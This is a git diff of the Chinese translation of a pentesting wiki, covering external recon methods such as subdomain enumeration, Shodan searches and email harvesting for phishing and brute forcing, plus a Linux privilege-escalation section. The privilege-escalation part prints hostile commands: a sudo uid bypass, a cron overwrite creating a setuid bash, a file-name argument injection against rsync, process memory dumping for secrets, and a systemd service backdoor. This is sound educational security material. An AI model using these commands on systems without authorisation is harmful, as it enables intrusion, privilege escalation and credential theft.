自动化此任务(需要 whoxy API 密钥)。\ 您还可以使用 [amass](https://github.com/OWASP/Amass) 执行一些自动反向 whois 发现:`amass intel -d tesla.com -whois` -**请注意,每次找到新域名时,您都可以使用此技术发现更多域名。** +**请注意,每次找到新域名时,您可以使用此技术发现更多域名。** ### **跟踪器** -如果在两个不同页面中找到 **相同的跟踪器 ID**,您可以推测 **这两个页面** 是 **由同一团队管理**。\ +如果在两个不同页面中找到 **相同的跟踪器 ID**,您可以假设 **这两个页面** 是 **由同一团队管理**。\ 例如,如果您在多个页面上看到相同的 **Google Analytics ID** 或相同的 **Adsense ID**。 有一些页面和工具可以让您通过这些跟踪器和更多内容进行搜索: @@ -122,7 +122,7 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s 简单来说,favihash 将允许我们发现与我们的目标具有相同 favicon 图标哈希的域。 -此外,您还可以使用 favicon 哈希搜索技术,如 [**这篇博客文章**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) 中所述。这意味着如果您知道 **易受攻击的网络技术的 favicon 哈希**,您可以在 shodan 中搜索并 **找到更多易受攻击的地方**: +此外,您还可以使用 favicon 哈希搜索技术,如 [**这篇博客文章**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) 中所述。这意味着如果您知道 **易受攻击的 web 技术的 favicon 哈希**,您可以在 shodan 中搜索并 **找到更多易受攻击的地方**: ```bash shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}' ``` @@ -141,63 +141,61 @@ return fhash ``` ### **版权 / 唯一字符串** -在网页中搜索 **可能在同一组织的不同网站之间共享的字符串**。**版权字符串**可能是一个很好的例子。然后在 **google**、其他 **浏览器**或甚至在 **shodan** 中搜索该字符串: `shodan search http.html:"Copyright string"` +在网页中搜索**可能在同一组织的不同网站之间共享的字符串**。**版权字符串**可能是一个很好的例子。然后在**google**、其他**浏览器**或甚至在**shodan**中搜索该字符串:`shodan search http.html:"Copyright string"` -### **CRT 时间** +### **CRT时间** -通常会有一个 cron 作业,例如 +通常会有一个cron作业,例如 ```bash # /etc/crontab 37 13 */10 * * certbot renew --post-hook "systemctl reload nginx" ``` -更新服务器上所有域名证书。这意味着即使用于此的CA没有在有效期内设置生成时间,也可以**在证书透明日志中找到属于同一公司的域名**。\ +更新服务器上的所有域证书。这意味着即使用于此的CA没有在有效期中设置生成时间,也可以**在证书透明日志中找到属于同一公司的域**。\ 查看这个[**写作以获取更多信息**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/)。 ### 邮件 DMARC 信息 -您可以使用一个网站,例如 [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) 或一个工具,例如 [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) 来查找**共享相同 DMARC 信息的域名和子域名**。 +您可以使用一个网站,例如[https://dmarc.live/info/google.com](https://dmarc.live/info/google.com)或一个工具,例如[https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains)来查找**共享相同 DMARC 信息的域和子域**。 ### **被动接管** -显然,人们常常将子域名分配给属于云服务提供商的IP,并在某个时候**失去该IP地址但忘记删除DNS记录**。因此,仅仅在云中**创建一个虚拟机**(如 Digital Ocean),您实际上将**接管一些子域名**。 +显然,人们常常将子域分配给属于云服务提供商的IP,并在某个时候**失去该IP地址但忘记删除DNS记录**。因此,仅仅在云中**生成一个虚拟机**(如Digital Ocean),您实际上将**接管一些子域**。 -[**这篇文章**](https://kmsec.uk/blog/passive-takeover/)解释了一个关于它的故事,并提出了一个脚本,该脚本**在 DigitalOcean 中创建一个虚拟机**,**获取**新机器的**IPv4**,并**在 Virustotal 中搜索指向它的子域名记录**。 +[**这篇文章**](https://kmsec.uk/blog/passive-takeover/)解释了一个关于它的故事,并提出了一个脚本,该脚本**在DigitalOcean中生成一个虚拟机**,**获取**新机器的**IPv4**,并**在Virustotal中搜索指向它的子域记录**。 ### **其他方法** -**请注意,每次找到新域名时,您可以使用此技术发现更多域名。** +**请注意,每次找到新域时,您可以使用此技术发现更多域名。** **Shodan** -如您所知,您可以通过组织名称搜索IP空间。您可以在shodan中使用以下数据进行搜索:`org:"Tesla, Inc."` 检查找到的主机以获取TLS证书中的新意外域名。 +如您所知,您可以使用IP空间的组织名称进行搜索。您可以在shodan中使用以下数据进行搜索:`org:"Tesla, Inc."` 检查找到的主机以获取TLS证书中的新意外域。 -您可以访问主网页的**TLS证书**,获取**组织名称**,然后在**shodan**已知的所有网页的**TLS证书**中搜索该名称,使用过滤器:`ssl:"Tesla Motors"` 或使用像 [**sslsearch**](https://github.com/HarshVaragiya/sslsearch) 的工具。 +您可以访问主网页的**TLS证书**,获取**组织名称**,然后在**shodan**已知的所有网页的**TLS证书**中搜索该名称,使用过滤器:`ssl:"Tesla Motors"`或使用像[**sslsearch**](https://github.com/HarshVaragiya/sslsearch)这样的工具。 **Assetfinder** -[**Assetfinder**](https://github.com/tomnomnom/assetfinder)是一个查找与主域名相关的**域名**及其**子域名**的工具,非常惊人。 +[**Assetfinder**](https://github.com/tomnomnom/assetfinder)是一个查找与主域相关的**域**及其**子域**的工具,非常惊人。 ### **寻找漏洞** -检查一些[域名接管](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover)。也许某家公司正在**使用某个域名**但他们**失去了所有权**。只需注册它(如果足够便宜)并告知公司。 +检查一些[域接管](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover)。也许某家公司**正在使用某个域**但他们**失去了所有权**。只需注册它(如果足够便宜)并告知公司。 -如果您发现任何**IP与您在资产发现中找到的不同**的域名,您应该执行**基本漏洞扫描**(使用Nessus或OpenVAS)和一些[**端口扫描**](../pentesting-network/#discovering-hosts-from-the-outside)使用**nmap/masscan/shodan**。根据运行的服务,您可以在**这本书中找到一些“攻击”它们的技巧**。\ +如果您发现任何**IP与您在资产发现中找到的不同**的域,您应该执行**基本漏洞扫描**(使用Nessus或OpenVAS)和一些[**端口扫描**](../pentesting-network/#discovering-hosts-from-the-outside),使用**nmap/masscan/shodan**。根据运行的服务,您可以在**这本书中找到一些“攻击”它们的技巧**。\ &#xNAN;_Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._ +## 子域 +> 我们知道所有在范围内的公司、每个公司的所有资产以及与这些公司相关的所有域。 -## 子域名 - -> 我们知道所有在范围内的公司、每个公司的所有资产以及与这些公司相关的所有域名。 - -是时候找到每个找到的域名的所有可能子域名。 +是时候找到每个找到的域的所有可能子域。 > [!TIP] -> 请注意,一些查找域名的工具和技术也可以帮助查找子域名 +> 请注意,一些查找域的工具和技术也可以帮助查找子域 ### **DNS** -让我们尝试从**DNS**记录中获取**子域名**。我们还应该尝试进行**区域传输**(如果存在漏洞,您应该报告它)。 +让我们尝试从**DNS**记录中获取**子域**。我们还应该尝试进行**区域传输**(如果存在漏洞,您应该报告它)。 ```bash dnsrecon -a -d tesla.com ``` @@ -264,7 +262,7 @@ curl https://sonar.omnisint.io/subdomains/tesla.com | jq -r ".[]" ```bash curl https://jldc.me/anubis/subdomains/tesla.com | jq -r ".[]" ``` -- [**RapidDNS**](https://rapiddns.io) 免费API +- [**RapidDNS**](https://rapiddns.io) 免费 API ```bash # Get Domains from rapiddns free API rapiddns(){ @@ -289,7 +287,7 @@ crt tesla.com # Get subdomains from GAUs found URLs gau --subs tesla.com | cut -d "/" -f 3 | sort -u ``` -- [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **和** [**subscraper**](https://github.com/Cillian-Collins/subscraper):它们在网络上抓取JS文件并从中提取子域名。 +- [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **和** [**subscraper**](https://github.com/Cillian-Collins/subscraper):它们在网上抓取JS文件并从中提取子域名。 ```bash # Get only subdomains from SubDomainizer python3 SubDomainizer.py -u https://tesla.com | grep tesla.com @@ -317,7 +315,7 @@ python3 DomainTrail.py -d example.com - [**securitytrails.com**](https://securitytrails.com/) 提供免费的 API 用于搜索子域名和 IP 历史 - [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/) -该项目提供 **与漏洞赏金计划相关的所有子域名** 的 **免费** 访问。您还可以使用 [chaospy](https://github.com/dr-0x0x/chaospy) 访问这些数据,甚至可以访问该项目使用的范围 [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) +该项目提供 **与漏洞悬赏计划相关的所有子域名** 的免费访问。您还可以使用 [chaospy](https://github.com/dr-0x0x/chaospy) 访问这些数据,甚至可以访问该项目使用的范围 [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) 您可以在这里找到许多这些工具的 **比较**: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off) @@ -325,7 +323,7 @@ python3 DomainTrail.py -d example.com 让我们尝试通过暴力破解 DNS 服务器来查找新的 **子域名**,使用可能的子域名名称。 -为此操作,您需要一些 **常见的子域名词汇表,如**: +为此操作,您需要一些 **常见的子域名词汇表,例如**: - [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056) - [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt) @@ -347,7 +345,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt ``` gobuster dns -d mysite.com -t 50 -w subdomains.txt ``` -- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) 是一个围绕 `massdns` 的包装器,使用 Go 编写,允许您通过主动暴力破解枚举有效的子域名,并支持通配符处理和简单的输入输出。 +- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) 是一个围绕 `massdns` 的封装,使用 Go 编写,允许您通过主动暴力破解枚举有效的子域名,并支持通配符处理和简单的输入输出。 ``` shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt ``` @@ -355,7 +353,7 @@ shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt ``` puredns bruteforce all.txt domain.com ``` -- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) 使用 asyncio 异步暴力破解域名。 +- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) 使用 asyncio 异步地进行域名暴力破解。 ``` aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com ``` @@ -377,7 +375,7 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3 gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt] ``` - [**altdns**](https://github.com/infosec-au/altdns): 除了生成子域名排列,它还可以尝试解析它们(但最好使用之前提到的工具)。 -- 你可以在 [**这里**](https://github.com/infosec-au/altdns/blob/master/words.txt) 获取 altdns 排列的 **wordlist**。 +- 你可以在 [**这里**](https://github.com/infosec-au/altdns/blob/master/words.txt) 获取 altdns 排列 **词表**。 ``` altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 ``` @@ -397,7 +395,7 @@ python3 main.py adobe.com adobe adobe.rules make_brute_list.sh adobe.rules adobe.brute puredns resolve adobe.brute --write adobe.valid ``` -- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ 是一个子域名暴力破解模糊器,结合了一个极其简单但有效的 DNS 响应引导算法。它利用提供的一组输入数据,如定制的词汇表或历史 DNS/TLS 记录,准确合成更多相应的域名,并根据在 DNS 扫描期间收集的信息进一步扩展它们。 +- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ 是一个子域名暴力破解模糊器,结合了一个极其简单但有效的 DNS 响应引导算法。它利用提供的一组输入数据,如定制的单词列表或历史 DNS/TLS 记录,准确合成更多相应的域名,并根据在 DNS 扫描过程中收集的信息进一步扩展它们。 ``` echo www | subzuf facebook.com ``` @@ -405,9 +403,13 @@ echo www | subzuf facebook.com 查看我写的这篇博客文章,关于如何使用 **Trickest workflows** **自动化子域发现**,这样我就不需要在我的电脑上手动启动一堆工具: -{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %} +{{#ref}} +https://trickest.com/blog/full-subdomain-discovery-using-workflow/ +{{#endref}} -{% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/" %} +{{#ref}} +https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/ +{{#endref}} ### **虚拟主机 / VHosts** @@ -436,73 +438,73 @@ VHostScan -t example.com > [!NOTE] > 使用此技术,您甚至可能能够访问内部/隐藏的端点。 -### **CORS 暴力破解** +### **CORS Brute Force** -有时您会发现页面仅在 _**Origin**_ 头中设置有效的域/子域时返回头部 _**Access-Control-Allow-Origin**_。在这些情况下,您可以利用这种行为来 **发现** 新的 **子域**。 +有时您会发现页面仅在有效的域/子域设置在 _**Origin**_ 头时返回头部 _**Access-Control-Allow-Origin**_。在这些情况下,您可以利用这种行为来 **发现** 新的 **子域**。 ```bash ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body ``` ### **桶暴力破解** -在寻找 **子域名** 时,注意它是否 **指向** 任何类型的 **桶**,在这种情况下 [**检查权限**](../../network-services-pentesting/pentesting-web/buckets/)**.**\ -此外,既然此时你已经知道了所有在范围内的域名,尝试 [**暴力破解可能的桶名称并检查权限**](../../network-services-pentesting/pentesting-web/buckets/)。 +在寻找 **子域名** 时,注意是否指向任何类型的 **桶**,在这种情况下 [**检查权限**](../../network-services-pentesting/pentesting-web/buckets/)**.**\ +此外,既然此时您将知道所有在范围内的域名,请尝试 [**暴力破解可能的桶名称并检查权限**](../../network-services-pentesting/pentesting-web/buckets/)。 ### **监控** -你可以通过监控 **证书透明度** 日志来 **监控** 一个域名是否创建了 **新子域名**,[**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)可以做到这一点。 +您可以通过监控 **证书透明度** 日志来 **监控** 一个域名是否创建了 **新子域名**,[**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)可以做到这一点。 ### **寻找漏洞** 检查可能的 [**子域名接管**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover)。\ 如果 **子域名** 指向某个 **S3 桶**,[**检查权限**](../../network-services-pentesting/pentesting-web/buckets/)。 -如果你发现任何 **子域名的 IP 与** 你在资产发现中已经找到的不同,你应该进行 **基本漏洞扫描**(使用 Nessus 或 OpenVAS)和一些 [**端口扫描**](../pentesting-network/#discovering-hosts-from-the-outside) 使用 **nmap/masscan/shodan**。根据运行的服务,你可以在 **本书中找到一些“攻击”它们的技巧**。\ +如果您发现任何 **子域名的 IP 与您在资产发现中找到的不同**,您应该执行 **基本漏洞扫描**(使用 Nessus 或 OpenVAS)和一些 [**端口扫描**](../pentesting-network/#discovering-hosts-from-the-outside) 使用 **nmap/masscan/shodan**。根据运行的服务,您可以在 **本书中找到一些“攻击”它们的技巧**。\ &#xNAN;_Note 有时子域名托管在不受客户控制的 IP 内,因此不在范围内,请小心。_ ## IPs -在初始步骤中,你可能已经 **找到了一些 IP 范围、域名和子域名**。\ -现在是 **收集这些范围内的所有 IP** 和 **域名/子域名(DNS 查询)**的时候了。 +在初始步骤中,您可能已经 **找到了一些 IP 范围、域名和子域名**。\ +现在是 **收集这些范围内的所有 IP** 和 **域名/子域名(DNS 查询)**的时候。 -使用以下 **免费 API** 的服务,你还可以找到 **域名和子域名之前使用的 IP**。这些 IP 可能仍然归客户所有(并可能让你找到 [**CloudFlare 绕过**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)) +使用以下 **免费 API** 的服务,您还可以找到 **域名和子域名使用过的先前 IP**。这些 IP 可能仍然归客户所有(并可能让您找到 [**CloudFlare 绕过**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)) - [**https://securitytrails.com/**](https://securitytrails.com/) -你还可以使用工具 [**hakip2host**](https://github.com/hakluke/hakip2host) 检查指向特定 IP 地址的域名。 +您还可以使用工具 [**hakip2host**](https://github.com/hakluke/hakip2host) 检查指向特定 IP 地址的域名。 ### **寻找漏洞** -**对所有不属于 CDN 的 IP 进行端口扫描**(因为你很可能不会在这里找到任何有趣的东西)。在发现的运行服务中,你可能 **能够找到漏洞**。 +**对所有不属于 CDN 的 IP 进行端口扫描**(因为您很可能不会在其中找到任何有趣的内容)。在发现的运行服务中,您可能 **能够找到漏洞**。 -**查找一个** [**指南**](../pentesting-network/) **关于如何扫描主机。** +**查找** [**指南**](../pentesting-network/) **关于如何扫描主机。** ## 网络服务器猎杀 -> 我们已经找到了所有公司及其资产,并且知道范围内的 IP 范围、域名和子域名。现在是搜索网络服务器的时候了。 +> 我们已经找到了所有公司及其资产,并且我们知道范围内的 IP 范围、域名和子域名。现在是搜索网络服务器的时候了。 -在之前的步骤中,你可能已经对发现的 **IP 和域名进行了某些侦察**,因此你可能 **已经找到了所有可能的网络服务器**。然而,如果你还没有,我们现在将看到一些 **快速技巧来搜索范围内的网络服务器**。 +在之前的步骤中,您可能已经对发现的 **IP 和域名进行了某些侦察**,因此您可能 **已经找到了所有可能的网络服务器**。但是,如果您还没有,我们现在将看到一些 **快速技巧来搜索范围内的网络服务器**。 -请注意,这将是 **面向网络应用发现** 的,因此你也应该 **进行漏洞** 和 **端口扫描**(**如果范围允许**)。 +请注意,这将是 **面向网络应用程序发现** 的,因此您还应该 **执行漏洞** 和 **端口扫描**(如果范围允许)。 -一种 **快速方法** 是使用 [**masscan** 在这里发现与 **网络** 服务器相关的 **开放端口**](../pentesting-network/#http-port-discovery)。\ -另一个友好的工具来查找网络服务器是 [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) 和 [**httpx**](https://github.com/projectdiscovery/httpx)。你只需传递一个域名列表,它将尝试连接到 80 端口(http)和 443 端口(https)。此外,你可以指示尝试其他端口: +一种 **快速方法** 是使用 [**masscan** 在此处发现与 **网络** 服务器相关的 **开放端口**](../pentesting-network/#http-port-discovery)。\ +另一个友好的工具来查找网络服务器是 [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) 和 [**httpx**](https://github.com/projectdiscovery/httpx)。您只需传递一个域名列表,它将尝试连接到 80 端口(http)和 443 端口(https)。此外,您可以指示尝试其他端口: ```bash cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443 cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443 ``` ### **截图** -现在你已经发现了范围内的**所有网络服务器**(包括公司的**IP**和所有的**域名**及**子域名**),你可能**不知道从哪里开始**。所以,让我们简单一点,先对它们进行截图。仅仅通过**查看****主页**,你就可以找到更**容易**被**利用**的**奇怪**端点。 +现在你已经发现了范围内的**所有网络服务器**(在公司的**IP**和所有**域名**及**子域名**中),你可能**不知道从哪里开始**。所以,让我们简单一点,先对它们进行截图。仅通过**查看****主页**,你就可以找到更**容易**被**利用**的**奇怪**端点。 为了执行这个提议,你可以使用 [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness)、[**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot)、[**Aquatone**](https://github.com/michenriksen/aquatone)、[**Shutter**](https://shutter-project.org/downloads/third-party-packages/)、[**Gowitness**](https://github.com/sensepost/gowitness) 或 [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**。** -此外,你还可以使用 [**eyeballer**](https://github.com/BishopFox/eyeballer) 来分析所有的**截图**,告诉你**哪些可能包含漏洞**,哪些则不然。 +此外,你还可以使用 [**eyeballer**](https://github.com/BishopFox/eyeballer) 来分析所有的**截图**,告诉你**哪些可能包含漏洞**,哪些则不包含。 ## 公有云资产 为了找到属于公司的潜在云资产,你应该**从一份识别该公司的关键词列表开始**。例如,对于一家加密公司,你可以使用以下词汇:“`"crypto", "wallet", "dao", "", <"subdomain_names">`”。 -你还需要一些**常用词汇的字典**,用于存储桶: +你还需要**常用词汇**的字典,用于存储桶: - [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt) - [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt) @@ -516,11 +518,11 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a ### **寻找漏洞** -如果你发现**开放的存储桶或暴露的云函数**,你应该**访问它们**,看看它们能提供什么,以及你是否可以利用它们。 +如果你发现**开放的存储桶或暴露的云函数**,你应该**访问它们**,看看它们提供了什么,以及你是否可以利用它们。 ## 电子邮件 -通过范围内的**域名**和**子域名**,你基本上已经拥有了**开始搜索电子邮件**所需的一切。这些是我找到公司电子邮件时效果最好的**API**和**工具**: +通过范围内的**域名**和**子域名**,你基本上拥有了**开始搜索电子邮件**所需的所有信息。这些是我找到公司电子邮件时效果最好的**API**和**工具**: - [**theHarvester**](https://github.com/laramies/theHarvester) - 使用API - [**https://hunter.io/**](https://hunter.io/) 的API(免费版) @@ -529,7 +531,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a ### **寻找漏洞** -电子邮件在后续**暴力破解网络登录和身份验证服务**(如SSH)时会派上用场。此外,它们在**钓鱼**中也是必需的。此外,这些API还会提供关于电子邮件背后**个人**的更多**信息**,这对钓鱼活动非常有用。 +电子邮件稍后将对**暴力破解网络登录和身份验证服务**(如SSH)非常有用。此外,它们在**钓鱼**中也是必需的。此外,这些API将为你提供更多关于电子邮件背后**个人**的信息,这对钓鱼活动非常有用。 ## 凭证泄露 @@ -555,7 +557,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a #### Github Dorks -还可以查看这个**页面**,寻找你可以在攻击的组织中搜索的潜在**github dorks**: +还可以查看此**页面**,寻找你可以在攻击的组织中搜索的潜在**github dorks**: {{#ref}} github-leaked-secrets.md @@ -568,9 +570,9 @@ github-leaked-secrets.md ### Google Dorks -老而经典的google dorks总是有助于找到**不该存在的暴露信息**。唯一的问题是 [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) 包含数千个你无法手动运行的可能查询。因此,你可以选择你最喜欢的10个,或者使用**工具如** [**Gorks**](https://github.com/carlospolop/Gorks) **来运行它们所有**。 +老而经典的google dorks始终对查找**不应存在的暴露信息**非常有用。唯一的问题是 [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) 包含数千个你无法手动运行的可能查询。因此,你可以选择你最喜欢的10个,或者使用**工具如** [**Gorks**](https://github.com/carlospolop/Gorks) **来运行它们所有**。 -_请注意,期望使用常规Google浏览器运行所有数据库的工具将永远无法完成,因为Google会很快封锁你。_ +_请注意,期望使用常规Google浏览器运行所有数据库的工具将永远无法完成,因为Google会很快阻止你。_ ### **寻找漏洞** @@ -594,11 +596,11 @@ _请注意,期望使用常规Google浏览器运行所有数据库的工具将 **大多数漏洞**都是由漏洞猎人发现的,存在于**网络应用程序**中,因此在这一点上,我想谈谈**网络应用程序测试方法论**,你可以在这里[**找到这些信息**](../../network-services-pentesting/pentesting-web/)。 -我还想特别提到[**开源工具的网络自动化扫描器**](../../network-services-pentesting/pentesting-web/#automatic-scanners)部分,因为如果你不应该期望它们找到非常敏感的漏洞,它们在**工作流程中提供一些初步的网络信息**时非常有用。 +我还想特别提到[**开源工具的网络自动扫描器**](../../network-services-pentesting/pentesting-web/#automatic-scanners)部分,因为如果你不应该期望它们找到非常敏感的漏洞,它们在**工作流程中提供一些初步的网络信息**时非常有用。 ## 综述 -> 恭喜!到目前为止,你已经完成了**所有基本枚举**。是的,这很基础,因为还可以进行更多的枚举(稍后会看到更多技巧)。 +> 恭喜!到目前为止,你已经完成了**所有基本枚举**。是的,这很基础,因为可以进行更多的枚举(稍后会看到更多技巧)。 所以你已经: @@ -614,7 +616,7 @@ _请注意,期望使用常规Google浏览器运行所有数据库的工具将 ## **全自动侦查工具** -有几种工具可以执行针对给定范围的部分提议操作。 +有几种工具可以执行针对特定范围的部分提议操作。 - [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine) - [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus) @@ -623,6 +625,6 @@ _请注意,期望使用常规Google浏览器运行所有数据库的工具将 ## **参考文献** -- [**@Jhaddix**](https://twitter.com/Jhaddix) 的所有免费课程,如 [**漏洞猎人的方法论 v4.0 - 侦查版**](https://www.youtube.com/watch?v=p4JgIu1mceI) +- 所有免费的 [**@Jhaddix**](https://twitter.com/Jhaddix) 课程,如 [**漏洞猎人的方法论 v4.0 - 侦查版**](https://www.youtube.com/watch?v=p4JgIu1mceI) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 22cd8f190..b58f888f2 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -12,7 +12,7 @@ lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -### 路径 +### Path 如果您**对`PATH`变量中的任何文件夹具有写入权限**,您可能能够劫持某些库或二进制文件: ```bash @@ -45,7 +45,7 @@ curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2 [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ [linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)(在受害者上执行,仅检查2.x内核的漏洞) -始终**在Google中搜索内核版本**,也许你的内核版本在某个内核漏洞中被写入,这样你就可以确定该漏洞是有效的。 +始终**在Google中搜索内核版本**,也许你的内核版本在某个内核漏洞中被写入,这样你就可以确认这个漏洞是有效的。 ### CVE-2016-5195 (DirtyCow) @@ -75,7 +75,7 @@ sudo -u#-1 /bin/bash ``` ### Dmesg 签名验证失败 -检查 **smasher2 box of HTB** 以获取此漏洞如何被利用的 **示例** +检查 **smasher2 box of HTB** 以获取此漏洞可能被利用的 **示例** ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -158,7 +158,7 @@ rpm -qa #Centos ``` 如果您可以访问机器的SSH,您还可以使用 **openVAS** 检查机器上安装的过时和易受攻击的软件。 -> [!NOTE] > _请注意,这些命令将显示大量信息,其中大部分将是无用的,因此建议使用一些应用程序,如OpenVAS或类似工具,检查任何已安装的软件版本是否易受已知漏洞的攻击_ +> [!NOTE] > _请注意,这些命令将显示大量信息,这些信息大多是无用的,因此建议使用一些应用程序,如OpenVAS或类似工具,检查任何已安装的软件版本是否易受已知漏洞的攻击_ ## 进程 @@ -168,7 +168,7 @@ ps aux ps -ef top -n 1 ``` -始终检查可能正在运行的 [**electron/cef/chromium debuggers**,您可以利用它来提升权限](electron-cef-chromium-debugger-abuse.md)。**Linpeas** 通过检查进程命令行中的 `--inspect` 参数来检测这些。\ +始终检查可能正在运行的 [**electron/cef/chromium 调试器**,您可以利用它来提升权限](electron-cef-chromium-debugger-abuse.md)。**Linpeas** 通过检查进程命令行中的 `--inspect` 参数来检测这些。\ 还要**检查您对进程二进制文件的权限**,也许您可以覆盖某个用户。 ### 进程监控 @@ -215,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -对于给定的进程 ID,**maps 显示该进程的**虚拟地址空间内内存的映射方式;它还显示了**每个映射区域的权限**。**mem** 伪文件**暴露了进程的内存本身**。通过**maps** 文件,我们知道哪些**内存区域是可读的**及其偏移量。我们使用这些信息**在 mem 文件中查找并将所有可读区域转储到文件中**。 +对于给定的进程 ID,**maps 显示该进程的**虚拟地址空间内内存的映射方式;它还显示**每个映射区域的权限**。**mem** 伪文件**暴露了进程的内存本身**。通过**maps** 文件,我们知道哪些**内存区域是可读的**及其偏移量。我们使用这些信息**在 mem 文件中查找并将所有可读区域转储到文件中**。 ```bash procdump() ( @@ -313,9 +313,9 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## 定时任务/Cron作业 +## 定时/计划任务 -检查是否有任何定时任务存在漏洞。也许你可以利用由root执行的脚本(通配符漏洞?可以修改root使用的文件?使用符号链接?在root使用的目录中创建特定文件?)。 +检查是否有任何计划任务存在漏洞。也许你可以利用由 root 执行的脚本(通配符漏洞?可以修改 root 使用的文件?使用符号链接?在 root 使用的目录中创建特定文件?)。 ```bash crontab -l ls -al /etc/cron* /etc/at* @@ -340,7 +340,7 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**如果通配符前面有一个路径,比如** _**/some/path/\***_ **,那么它就不容易受到攻击(即使是** _**./\***_ **也不行)。** +**如果通配符前面有一个路径,比如** _**/some/path/\***_ **,那么它就不容易受到攻击(即使** _**./\***_ **也不行)。** 阅读以下页面以获取更多通配符利用技巧: @@ -380,8 +380,8 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### 可写的 _.service_ 文件 -检查您是否可以写任何 `.service` 文件,如果可以,您 **可以修改它** 以便它 **在服务** 被 **启动**、**重启**或 **停止** 时 **执行** 您的 **后门**(也许您需要等到机器重启)。\ -例如在 .service 文件中创建您的后门,使用 **`ExecStart=/tmp/script.sh`** +检查您是否可以写入任何 `.service` 文件,如果可以,您 **可以修改它** 以便在服务 **启动**、**重启**或 **停止** 时 **执行** 您的 